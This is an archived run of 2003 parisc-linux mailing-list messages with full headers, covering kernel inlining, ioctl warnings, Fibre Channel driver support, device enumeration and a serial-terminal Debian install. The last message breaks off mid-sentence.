
On Sunday 16 March 2003 05:06 pm, Matthew Wilcox wrote:
> On Sun, Mar 16, 2003 at 04:52:19PM -0600, Michael S. Zick wrote:
> > On Friday 14 March 2003 07:17 am, Matthew Wilcox wrote:
> > > net/core/rtnetlink.c:extern __inline__ int rtnetlink_rcv_skb(struct
> > > sk_buff *skb)
> >
> > Stolen from the GCC thread on 3.x.x inlining...
> > - - - - GCC - - - - -
> > For the record, the kernel doesn't need this any more.  Go check 2.5;
> > new versions of <linux/compiler.h> contain this line:
> > #define inline          __inline__ __attribute__((always_inline))
> > - - - - - - - - - - - -
> > That forces GCC to ignore its changed inline metrics and simply inline
> > the function.
>
> Yes, but...
>
>  * Joel's using 2.4, not 2.5
Exactly why I mentioned it.

>  * #define inline doesn't help functions which are marked as __inline__
If he follows your suggestion of dropping the "__" around "inline" it will.

>
> This isn't a function which absolutely needs to be inlined.  It can
> be `static inline' and gcc can do whatever it likes then.
The subject is getting a lot of discussion on the GCC list.  I only mentioned
this one workaround so that Joel could get on with his work before the issue
is settled on the GCC list.

Mike


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unsupported ioctl wrappers?
Date: Sun, 16 Mar 2003 19:25:42 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030317022542.GA6630@dsl2.external.hp.com>
References: <200303090351.UAA17796@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622290 22953 80.91.229.3 (22 Nov 2014 02:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 16 19:25:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 56442482B; Sun, 16 Mar 2003 19:25:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200303090351.UAA17796@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17949

FYI,
booting 2.4.20-pa31, I get the follow msgs on my console.
Not sure if the following ioctl wrappers are new or known to be missing.

...
Loading modules: 
Starting raid devices: 
sys32_ioctl: Unknown cmd fd(3) cmd(40041272) arg(faf01500)
sys32_ioctl: Unknown cmd fd(3) cmd(40041272) arg(faf01500)
sys32_ioctl: Unknown cmd fd(3) cmd(40041272) arg(faf01500)
done.
Starting RAID devices: handling MD device /dev/md0
...

grant


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 12:05:20 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <3E68A12A00002910@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622290 22958 80.91.229.3 (22 Nov 2014 02:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 04:05:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D719482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 04:05:23 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18usQk-0001GL-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 12:05:22 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 17 Mar 2003 12:05:20 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17950

Hi all,

On the N4000 which I can test for a short time there are fc cards.
lspci give me following info about those cards:

20:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host
Adapter (rev 0b)
d0:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host
Adapter (rev 0b)
e0:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host
Adapter (rev 0b)

The question is: which driver should I use (cpqfc?)?

Thanks for info,
        Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 12:18:01 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20030317111801.GF17073@lug-owl.de>
References: <3E68A12A00002910@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GYkYyJI7bObpCn+O"
X-Trace: ger.gmane.org 1416622291 22961 80.91.229.3 (22 Nov 2014 02:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 04:18:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id B59CC482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 04:18:02 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 9C85D4AA18; Mon, 17 Mar 2003 12:18:01 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3E68A12A00002910@ocpmta3.freegates.net>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17951

--GYkYyJI7bObpCn+O
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-03-17 12:05:20 +0100, Joel Soete <jsoe0708@tiscali.be>
wrote in message <3E68A12A00002910@ocpmta3.freegates.net>:
> Hi all,
>=20
> On the N4000 which I can test for a short time there are fc cards.
> lspci give me following info about those cards:
>=20
> 20:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host=
 Adapter (rev 0b)
> d0:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host=
 Adapter (rev 0b)
> e0:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host=
 Adapter (rev 0b)

[line break-ups corrected]

> The question is: which driver should I use (cpqfc?)?

I do not have such a card, but:

/usr/share/misc/pci.ids:
103c  Hewlett-Packard Company
	1028  Tach TL Fibre Channel Host Adapter

So it seems your device is 103c:1028. In the kernel, this maps through
=2E/linux/include/linux/pci_ids.h:

#define PCI_DEVICE_ID_HP_TACHYON      0x1028

So your device is called "PCI_DEVICE_ID_HP_TACHYON". Searching for this
string, you'll find it in ./linux/drivers/scsi/cpqfcTSinit.c, so that
card seems to be supported.

See, it's quite easy to see if a PCI card seems to be supported:-)

MfG, JBG



--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--GYkYyJI7bObpCn+O
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+da7oHb1edYOZ4bsRAk5bAJ9QaAIbptMtK4rwdOypSyF5vDrD9QCfR/MB
AxAydvqDs88tPSM0Uno8AJ0=
=vSoc
-----END PGP SIGNATURE-----

--GYkYyJI7bObpCn+O--


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Mon, 17 Mar 2003 14:53:27 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20030317145327.A4194@typhon.pilat.fr>
References: <20030313112232.A10172@typhon.pilat.fr> <3E706BE4.E53961BD@hp.com> <20030313134558.6cf9177c.vincentl@ec-lyon.fr> <3E7196C7.8A35605F@hp.com> <20030314133305.4311a8e6.vincentl@ec-lyon.fr> <20030314131921.GG29631@parcelfarce.linux.theplanet.co.uk> <20030314150549.3cb2e2b2.vincentl@ec-lyon.fr> <20030314140848.GI29631@parcelfarce.linux.theplanet.co.uk> <20030314172924.GC24555@dsl2.external.hp.com>
Reply-To: vincentl@ec-lyon.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622291 22969 80.91.229.3 (22 Nov 2014 02:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:31 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, bruno_vidal@hp.com,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 06:53:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from typhon.homeip.net (voltaire-102-1-121.net1.nerim.net [213.41.188.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBBA8482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 06:53:34 -0700 (MST)
Original-Received: by typhon.homeip.net (Postfix, from userid 500)
	id 6C8D5214310; Mon, 17 Mar 2003 14:53:27 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030314172924.GC24555@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Mar 14, 2003 at 10:29:24AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17952

Hi Grant,

sounds very good to me (and way cleaner)...
I'll be happy to try to help.

cheers,
lv.

On Fri, Mar 14, 2003 at 10:29:24AM -0700, Grant Grundler wrote:
> On Fri, Mar 14, 2003 at 02:08:48PM +0000, Matthew Wilcox wrote:
> > On Fri, Mar 14, 2003 at 03:05:49PM +0100, Lyonel Vincent wrote:
> > > okokok I won't argue then.
> > > I would have liked to have ioscan-like support, but anyway...
> > 
> > Well, you can have it in 2.5; start looking at sysfs.
> 
> willy and I talked offline and it seems like the right
> answer is to backport _the user interface_ - ie something
> that *looks* like sysfs but could be based on /proc.
> 
> I'd basically like to see all resources in struct parisc_device
> exported using the same name as the field - matching sysfs field
> names use for PCI where appropriate. Willy suggested id be broken
> out into it's struct parisc_device_id parts and provided
> directly has hex strings (eg hw_type  entry could contain "0x5").
> Details of how sysfs currently looks are still changing - don't get
> hung up in the current details.
> 
> grant

-- 
The software said it requires Windows 2000 or better, so I installed Linux.


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 14:58:52 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <3E68A12A00002A77@ocpmta3.freegates.net>
References: <20030317111801.GF17073@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622291 22971 80.91.229.3 (22 Nov 2014 02:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:31 +0000 (UTC)
To: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 06:58:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09B4A482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 06:58:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18uv8e-0001fs-00; Mon, 17 Mar 2003 14:58:52 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 17 Mar 2003 14:58:52 +0100
In-Reply-To: <20030317111801.GF17073@lug-owl.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17953

>-- Original Message --
>From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
>To: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] FC driver?
>Date: Mon, 17 Mar 2003 12:18:01 +0100
>
>
>On Mon, 2003-03-17 12:05:20 +0100, Joel Soete <jsoe0708@tiscali.be>
>wrote in message <3E68A12A00002910@ocpmta3.freegates.net>:
>> Hi all,
>> 
>> On the N4000 which I can test for a short time there are fc cards.
>> lspci give me following info about those cards:
>> 
>> 20:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host
>Adapter (rev 0b)
>> d0:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host
>Adapter (rev 0b)
>> e0:00.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host
>Adapter (rev 0b)
>
>[line break-ups corrected]
>
>> The question is: which driver should I use (cpqfc?)?
>
>I do not have such a card, but:
>
>/usr/share/misc/pci.ids:
>103c  Hewlett-Packard Company
>	1028  Tach TL Fibre Channel Host Adapter
>
>So it seems your device is 103c:1028. In the kernel, this maps through
>./linux/include/linux/pci_ids.h:
>
>#define PCI_DEVICE_ID_HP_TACHYON      0x1028
>
>So your device is called "PCI_DEVICE_ID_HP_TACHYON". Searching for this
>string, you'll find it in ./linux/drivers/scsi/cpqfcTSinit.c, so that
>card seems to be supported.
>
>See, it's quite easy to see if a PCI card seems to be supported:-)
>
>MfG, JBG
>
cool :)

Thanks a lot for those kind explanations,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dirk Emmermacher" <Dirk.Emmermacher@ntb-infoline.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem on install
Date: Fri, 14 Mar 2003 12:02:40 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <se71c4ed.086@mail.ntb-infoline.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622292 22974 80.91.229.3 (22 Nov 2014 02:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 07:31:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ntb-infoline.de (mail.ntb-infoline.de [62.48.88.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id A080E485D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 07:31:38 -0700 (MST)
Original-Received: from Domain-NTB-MTA by mail.ntb-infoline.de
	with Novell_GroupWise; Fri, 14 Mar 2003 12:02:53 +0100
X-Mailer: Novell GroupWise Internet Agent 6.0.3
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17954

Hello.

I try to install Debian-Linux 3.0 on a D-class server (D-250). The =
terminal
is a 70096 on serial port. The kernel boots the machine with no problem,
but the install screen are not right. Is it possible to use this terminal
for installation?

Thx in advance for any advice.

Best regards.

Dirk Emmermacher


+----------------------------------------------------------------------+
    Dirk Emmermacher=20
    Netzwerk Administrator, Postmaster

    mailto:Dirk.Emmermacher@ntb-infoline.de
    http://www.ntb-infoline.de

    Niedersaechsischer Turner-Bund e.V.
    Maschstr. 18
    D 30169 Hannover

    Tel.: +49 511 980 97-34    =20
    Facsimile: +49 511 980 97 - 461
+----------------------------------------------------------------------+



From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Problem on install
Date: Mon, 17 Mar 2003 16:25:52 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <3E68A12A00002B1B@ocpmta3.freegates.net>
References: <se71c4ed.086@mail.ntb-infoline.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622292 22977 80.91.229.3 (22 Nov 2014 02:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:32 +0000 (UTC)
To: "Dirk Emmermacher" <Dirk.Emmermacher@ntb-infoline.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 08:25:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FC62482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 08:25:56 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18uwUr-0003Bw-00; Mon, 17 Mar 2003 16:25:53 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 17 Mar 2003 16:25:52 +0100
In-Reply-To: <se71c4ed.086@mail.ntb-infoline.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17955

Dirk,

>-- Original Message --
>From: "Dirk Emmermacher" <Dirk.Emmermacher@ntb-infoline.de>
>To: <parisc-linux@lists.parisc-linux.org>
>Subject: [parisc-linux] Problem on install
>Date: Fri, 14 Mar 2003 12:02:40 +0100
>
>
>Hello.
>
>I try to install Debian-Linux 3.0 on a D-class server (D-250). The terminal
>is a 70096 on serial port. The kernel boots the machine with no problem,
>but the install screen are not right. Is it possible to use this terminal
>for installation?
>
Yes,

I do it (a time ago): just change the setup of your terminal to vt100 emulation
(or something near I do not remember exactly).

hth,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 07:52:35 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030317155235.GN26139@tausq.org>
References: <20030317111801.GF17073@lug-owl.de> <3E68A12A00002A77@ocpmta3.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622292 22983 80.91.229.3 (22 Nov 2014 02:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:32 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 08:55:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9717F482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 08:55:24 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8B090CD294; Mon, 17 Mar 2003 07:52:35 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E68A12A00002A77@ocpmta3.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17956

> >So your device is called "PCI_DEVICE_ID_HP_TACHYON". Searching for this
> >string, you'll find it in ./linux/drivers/scsi/cpqfcTSinit.c, so that
> >card seems to be supported.

well....

this is the "right" driver, but it doesn't work on parisc. Grant has
